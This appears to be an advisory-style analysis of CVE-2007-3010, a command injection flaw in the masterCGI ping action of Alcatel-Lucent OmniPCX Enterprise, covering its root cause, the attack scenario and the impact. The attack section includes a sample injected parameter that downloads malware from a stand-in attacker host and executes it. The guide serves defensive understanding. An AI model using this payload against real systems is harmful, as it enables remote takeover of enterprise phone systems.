Alcatel-Lucent OmniPCX Enterprise (OXE) masterCGI Remote Command Execution (RCE) Vulnerability (CVE-2007-3010) Analysis and Mitigation Guide

1. Vulnerability Overview & Root Cause

This vulnerability is a critical Command Injection (CWE-77) flaw located within the masterCGI script of the Unified Maintenance Tool in Alcatel-Lucent OmniPCX Enterprise (OXE). The root cause lies in the lack of proper input validation and sanitization of the user parameter during a ping action. When the application constructs a system command to execute the ping utility, it directly concatenates user-supplied input, allowing shell metacharacters to alter the execution flow.

2. Exploitation Mechanics & Attack Scenario

An unauthenticated attacker can exploit this vulnerability by sending a direct HTTP request to the vulnerable masterCGI endpoint. The attack scenario unfolds as follows:

• The attacker targets the masterCGI script, specifying the ping action.
• In the HTTP request, the attacker injects shell metacharacters (such as ;, &&, or |) followed by arbitrary commands into the user parameter (e.g., user=admin; wget http://attacker.com/malware -O /tmp/malware; sh /tmp/malware).
• The backend server executes the constructed command string via a system shell without sanitization.
• The injected commands run with the privileges of the web server process (typically root), granting the attacker full control over the system.

3. Infrastructure & Business Impact

Alcatel OmniPCX Enterprise is widely deployed as an enterprise-grade IP-PBX and Unified Communications solution. Because this vulnerability is listed on the CISA KEV catalog and carries an extremely high EPSS score of 0.9738, it represents an active and highly reliable vector for threat actors. Successful exploitation can lead to complete system compromise, unauthorized wiretapping, disruption of critical telecommunication services, and lateral movement into the internal corporate network.